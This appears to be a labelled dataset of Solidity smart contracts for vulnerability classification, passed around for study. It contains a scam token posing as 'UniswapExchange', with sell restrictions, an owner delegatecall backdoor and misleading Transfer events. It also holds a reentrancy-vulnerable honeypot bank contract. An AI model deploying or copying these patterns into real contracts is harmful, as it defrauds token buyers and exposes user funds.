return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity 0.7.5;
abstract contract ICToken is IERC20 {
function redeem(uint redeemTokens) external virtual returns (uint);
function redeemUnderlying(uint redeemAmount) external virtual returns (uint);
}
abstract contract ICEther is ICToken {
function mint() external virtual payable;
}
abstract contract ICERC20 is ICToken {
function mint(uint mintAmount) external virtual returns (uint);
function underlying() external virtual view returns (address token);
}
pragma solidity >=0.6.0 <0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity >=0.6.0 <0.8.0;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity 0.7.5;
interface ITokenTransferProxy {
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
external;
function freeGSTTokens(uint256 tokensToFree) external;
}
pragma solidity 0.7.5;
library Utils {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address constant ETH_ADDRESS = address(
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
);
uint256 constant MAX_UINT = 2 ** 256 - 1;
struct SellData {
IERC20 fromToken;
IERC20 toToken;
uint256 fromAmount;
uint256 toAmount;
uint256 expectedAmount;
address payable beneficiary;
string referrer;
Utils.Path[] path;
}
struct BuyData {
IERC20 fromToken;
IERC20 toToken;
uint256 fromAmount;
uint256 toAmount;
address payable beneficiary;
string referrer;
Utils.BuyRoute[] route;
}
struct Route {
address payable exchange;
address targetExchange;
uint percent;
bytes payload;
uint256 networkFee;
}
struct Path {
address to;
uint256 totalNetworkFee;
Route[] routes;
}
struct BuyRoute {
address payable exchange;
address targetExchange;
uint256 fromAmount;
uint256 toAmount;
bytes payload;
uint256 networkFee;
}
function ethAddress() internal pure returns (address) {return ETH_ADDRESS;}
function maxUint() internal pure returns (uint256) {return MAX_UINT;}
function approve(
address addressToApprove,
address token,
uint256 amount
) internal {
if (token != ETH_ADDRESS) {
IERC20 _token = IERC20(token);
uint allowance = _token.allowance(address(this), addressToApprove);
if (allowance < amount) {
_token.safeApprove(addressToApprove, 0);
_token.safeIncreaseAllowance(addressToApprove, MAX_UINT);
}
}
}
function transferTokens(
address token,
address payable destination,
uint256 amount
)
internal
{
if (amount > 0) {
if (token == ETH_ADDRESS) {
destination.call{value: amount}("");
}
else {
IERC20(token).safeTransfer(destination, amount);
}
}
}
function tokenBalance(
address token,
address account
)
internal
view
returns (uint256)
{
if (token == ETH_ADDRESS) {
return account.balance;
} else {
return IERC20(token).balanceOf(account);
}
}
function refundGas(
address tokenProxy,
uint256 initialGas,
uint256 mintPrice
)
internal
{
uint256 mintBase = 32254;
uint256 mintToken = 36543;
uint256 freeBase = 14154;
uint256 freeToken = 6870;
uint256 reimburse = 24000;
uint256 tokens = initialGas.sub(
gasleft()).add(freeBase).div(reimburse.mul(2).sub(freeToken)
);
uint256 mintCost = mintBase.add(tokens.mul(mintToken));
uint256 freeCost = freeBase.add(tokens.mul(freeToken));
uint256 maxreimburse = tokens.mul(reimburse);
uint256 efficiency = maxreimburse.mul(tx.gasprice).mul(100).div(
mintCost.mul(mintPrice).add(freeCost.mul(tx.gasprice))
);
if (efficiency > 100) {
freeGasTokens(tokenProxy, tokens);
}
}
function freeGasTokens(address tokenProxy, uint256 tokens) internal {
uint256 tokensToFree = tokens;
uint256 safeNumTokens = 0;
uint256 gas = gasleft();
if (gas >= 27710) {
safeNumTokens = gas.sub(27710).div(1148 + 5722 + 150);
}
if (tokensToFree > safeNumTokens) {
tokensToFree = safeNumTokens;
}
ITokenTransferProxy(tokenProxy).freeGSTTokens(tokensToFree);
}
}
pragma solidity 0.7.5;
interface IExchange {
function swap(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount,
address exchange,
bytes calldata payload) external payable returns (uint256);
function buy(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount,
address exchange,
bytes calldata payload) external payable returns (uint256);
function onChainSwap(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount
) external payable returns (uint256);
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity 0.7.5;
contract TokenFetcher is Ownable {
function transferTokens(
address token,
address payable destination,
uint256 amount
)
external
onlyOwner
{
Utils.transferTokens(token, destination, amount);
}
}
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
contract Compound is IExchange, TokenFetcher {
using Address for address;
address public ceth;
struct CompoundData {
address cToken;
}
constructor(address _ceth) public {
ceth = _ceth;
}
receive() external payable {
}
function swap(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount,
address exchange,
bytes calldata payload
)
external
override
payable
returns (uint256)
{
return _swap(
fromToken,
toToken,
fromAmount,
toAmount,
exchange,
payload
);
}
function buy(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount,
address exchange,
bytes calldata payload
)
external
override
payable
returns (uint256)
{
return _swap(
fromToken,
toToken,
fromAmount,
toAmount,
exchange,
payload
);
}
function onChainSwap(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount
)
external
override
payable
returns (uint256)
{
revert("METHOD NOT SUPPORTED");
}
function _swap(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount,
address exchange,
bytes memory payload) private returns (uint256) {
CompoundData memory compoundData = abi.decode(payload, (CompoundData));
Utils.approve(
address(compoundData.cToken),
address(fromToken),
fromAmount
);
if (address(fromToken) == address(compoundData.cToken)) {
if (address(toToken) == Utils.ethAddress()) {
require(
address(fromToken) == ceth,
"Invalid to token"
);
}
else {
require(
ICERC20(compoundData.cToken).underlying() == address(toToken),
"Invalid from token"
);
}
ICToken(compoundData.cToken).redeem(fromAmount);
}
else if(address(toToken) == address(compoundData.cToken)) {
if (address(fromToken) == Utils.ethAddress()) {
require(
address(toToken) == ceth,
"Invalid to token"
);
ICEther(compoundData.cToken).mint{value: fromAmount}();
}
else {
require(
ICERC20(compoundData.cToken).underlying() == address(fromToken),
"Invalid from token"
);
ICERC20(compoundData.cToken).mint(fromAmount);
}
}
else {
revert("Invalid token pair");
}
uint256 receivedAmount = Utils.tokenBalance(address(toToken), address(this));
Utils.transferTokens(address(toToken), msg.sender, receivedAmount);
return receivedAmount;
}
} | 0 | 1,706 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,799 |
pragma solidity ^0.4.19;
contract D_BANK
{
mapping (address=>uint256) public balances;
uint public MinSum = 1 ether;
LogFile Log = LogFile(0x0486cF65A2F2F3A392CBEa398AFB7F5f0B72FF46);
bool intitalized;
function SetMinSum(uint _val)
public
{
if(intitalized)revert();
MinSum = _val;
}
function SetLogFile(address _log)
public
{
if(intitalized)revert();
Log = LogFile(_log);
}
function Initialized()
public
{
intitalized = true;
}
function Deposit()
public
payable
{
balances[msg.sender]+= msg.value;
Log.AddMessage(msg.sender,msg.value,"Put");
}
function Collect(uint _am)
public
payable
{
if(balances[msg.sender]>=MinSum && balances[msg.sender]>=_am)
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
Log.AddMessage(msg.sender,_am,"Collect");
}
}
}
function()
public
payable
{
Deposit();
}
}
contract LogFile
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
} | 1 | 3,347 |
contract CAVAsset {
function __transferWithReference(address _to, uint _value, string _reference, address _sender) returns(bool);
function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function __approve(address _spender, uint _value, address _sender) returns(bool);
function __process(bytes _data, address _sender) payable {
revert();
}
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function decimals() constant returns (uint8);
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract CAVPlatform {
mapping(bytes32 => address) public proxies;
function symbols(uint _idx) public constant returns (bytes32);
function symbolsCount() public constant returns (uint);
function name(bytes32 _symbol) returns(string);
function setProxy(address _address, bytes32 _symbol) returns(uint errorCode);
function isCreated(bytes32 _symbol) constant returns(bool);
function isOwner(address _owner, bytes32 _symbol) returns(bool);
function owner(bytes32 _symbol) constant returns(address);
function totalSupply(bytes32 _symbol) returns(uint);
function balanceOf(address _holder, bytes32 _symbol) returns(uint);
function allowance(address _from, address _spender, bytes32 _symbol) returns(uint);
function baseUnit(bytes32 _symbol) returns(uint8);
function proxyTransferWithReference(address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(uint errorCode);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(uint errorCode);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) returns(uint errorCode);
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) returns(uint errorCode);
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable, address _account) returns(uint errorCode);
function reissueAsset(bytes32 _symbol, uint _value) returns(uint errorCode);
function revokeAsset(bytes32 _symbol, uint _value) returns(uint errorCode);
function isReissuable(bytes32 _symbol) returns(bool);
function changeOwnership(bytes32 _symbol, address _newOwner) returns(uint errorCode);
function hasAssetRights(address _owner, bytes32 _symbol) public view returns (bool);
}
contract CAVAssetProxy is ERC20 {
uint constant OK = 1;
CAVPlatform public platform;
bytes32 public smbl;
string public name;
string public symbol;
function init(CAVPlatform _platform, string _symbol, string _name) returns(bool) {
if (address(platform) != 0x0) {
return false;
}
platform = _platform;
symbol = _symbol;
smbl = stringToBytes32(_symbol);
name = _name;
return true;
}
function stringToBytes32(string memory source) returns (bytes32 result) {
assembly {
result := mload(add(source, 32))
}
}
modifier onlyPlatform() {
if (msg.sender == address(platform)) {
_;
}
}
modifier onlyAssetOwner() {
if (platform.isOwner(msg.sender, smbl)) {
_;
}
}
function _getAsset() internal returns(CAVAsset) {
return CAVAsset(getVersionFor(msg.sender));
}
function totalSupply() constant returns(uint) {
return platform.totalSupply(smbl);
}
function balanceOf(address _owner) constant returns(uint) {
return platform.balanceOf(_owner, smbl);
}
function allowance(address _from, address _spender) constant returns(uint) {
return platform.allowance(_from, _spender, smbl);
}
function decimals() constant returns(uint8) {
return platform.baseUnit(smbl);
}
function transfer(address _to, uint _value) returns(bool) {
if (_to != 0x0) {
return _transferWithReference(_to, _value, "");
}
else {
return false;
}
}
function transferWithReference(address _to, uint _value, string _reference) returns(bool) {
if (_to != 0x0) {
return _transferWithReference(_to, _value, _reference);
}
else {
return false;
}
}
function _transferWithReference(address _to, uint _value, string _reference) internal returns(bool) {
return _getAsset().__transferWithReference(_to, _value, _reference, msg.sender);
}
function __transferWithReference(address _to, uint _value, string _reference, address _sender) onlyAccess(_sender) returns(bool) {
return platform.proxyTransferWithReference(_to, _value, smbl, _reference, _sender) == OK;
}
function transferFrom(address _from, address _to, uint _value) returns(bool) {
if (_to != 0x0) {
return _getAsset().__transferFromWithReference(_from, _to, _value, "", msg.sender);
}
else {
return false;
}
}
function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) onlyAccess(_sender) returns(bool) {
return platform.proxyTransferFromWithReference(_from, _to, _value, smbl, _reference, _sender) == OK;
}
function approve(address _spender, uint _value) returns(bool) {
if (_spender != 0x0) {
return _getAsset().__approve(_spender, _value, msg.sender);
}
else {
return false;
}
}
function __approve(address _spender, uint _value, address _sender) onlyAccess(_sender) returns(bool) {
return platform.proxyApprove(_spender, _value, smbl, _sender) == OK;
}
function emitTransfer(address _from, address _to, uint _value) onlyPlatform() {
Transfer(_from, _to, _value);
}
function emitApprove(address _from, address _spender, uint _value) onlyPlatform() {
Approval(_from, _spender, _value);
}
function () payable {
_getAsset().__process.value(msg.value)(msg.data, msg.sender);
}
event UpgradeProposal(address newVersion);
address latestVersion;
address pendingVersion;
uint pendingVersionTimestamp;
uint constant UPGRADE_FREEZE_TIME = 3 days;
mapping(address => address) userOptOutVersion;
modifier onlyAccess(address _sender) {
if (getVersionFor(_sender) == msg.sender) {
_;
}
}
function getVersionFor(address _sender) constant returns(address) {
return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender];
}
function getLatestVersion() constant returns(address) {
return latestVersion;
}
function getPendingVersion() constant returns(address) {
return pendingVersion;
}
function getPendingVersionTimestamp() constant returns(uint) {
return pendingVersionTimestamp;
}
function proposeUpgrade(address _newVersion) onlyAssetOwner() returns(bool) {
if (pendingVersion != 0x0) {
return false;
}
if (_newVersion == 0x0) {
return false;
}
if (latestVersion == 0x0) {
latestVersion = _newVersion;
return true;
}
pendingVersion = _newVersion;
pendingVersionTimestamp = now;
UpgradeProposal(_newVersion);
return true;
}
function purgeUpgrade() onlyAssetOwner() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function commitUpgrade() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) {
return false;
}
latestVersion = pendingVersion;
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function optOut() returns(bool) {
if (userOptOutVersion[msg.sender] != 0x0) {
return false;
}
userOptOutVersion[msg.sender] = latestVersion;
return true;
}
function optIn() returns(bool) {
delete userOptOutVersion[msg.sender];
return true;
}
} | 1 | 4,842 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
